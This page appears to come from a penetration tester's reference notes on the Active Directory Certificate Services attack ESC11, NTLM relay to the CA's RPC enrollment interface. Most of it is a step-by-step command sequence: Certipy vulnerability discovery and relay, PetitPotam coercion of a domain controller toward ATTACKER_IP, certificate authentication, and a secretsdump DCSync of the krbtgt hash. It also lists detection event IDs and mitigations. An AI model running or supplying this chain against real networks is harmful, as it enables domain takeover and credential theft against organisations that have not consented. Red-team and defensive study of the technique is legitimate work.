title: "Attack #34 โ ESC11 NTLM Relay to ADCS RPC" description: "ESC11 is similar to ESC8 but targets the CA's RPC enrollment interface (MS-ICPR) instead of the HTTP web enrollment. If the CA does not enforce packetโฆ" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "credential-access", "ntlm", "relay"] tools: ["Impacket", "Certipy"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/๐ข Attack #34 โ ESC11 NTLM Relay to ADCS RPC.md"#
๐ข Attack #34 โ ESC11: NTLM Relay to ADCS RPC#
๐ How It Works#
ESC11 is similar to ESC8 but targets the CA's RPC enrollment interface (MS-ICPR) instead of the HTTP web enrollment. If the CA does not enforce packet privacy (the IF_ENFORCEENCRYPTICERTREQUEST flag is disabled), an attacker can relay NTLM authentication to the RPC interface to request certificates โ even when HTTP web enrollment is disabled or protected by EPA.
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| IF_ENFORCEENCRYPTICERTREQUEST disabled | CA RPC interface doesn't require signing/encryption |
| Coercion capability | PetitPotam, PrinterBug, etc. |
| Network access to CA RPC | TCP 135 + dynamic RPC ports |
๐ป Full Commands#
๐ต Check If Vulnerable#
# โโ Certipy โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC11 โ IF_ENFORCEENCRYPTICERTREQUEST is disabled
๐ด Exploit ESC11#
# โโ Step 1: Start Certipy relay targeting RPC โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
certipy relay -ca CA01.corp.local -template DomainController
# โโ Step 2: Coerce DC โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
python3 PetitPotam.py ATTACKER_IP DC01.corp.local
# โโ Step 3: Authenticate with resulting certificate โโโโโโโโโโโโโโโโโโโโโโโโโโ
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
# โโ Step 4: DCSync โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
secretsdump.py corp.local/'DC01$'@DC01.corp.local -hashes :<HASH> -just-dc-user krbtgt
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4886 | Security Log (CA) | Certificate enrollment via RPC from unexpected source |
| 4768 | Security Log (DC) | PKINIT TGT using DC certificate |
๐ Attack Chain Context#
[ESC11] โโโ NTLM Relay to CA RPC โ same result as ESC8
โ
โโโโ ๐ Alternative to ESC8 when HTTP enrollment is disabled/protected
โโโโ ๐ฅ Same outcome: DC cert โ DCSync โ domain compromise
โโโโ ๐ Defeated by: enable IF_ENFORCEENCRYPTICERTREQUEST, disable NTLM
โ Attack #34 โ ESC11 complete.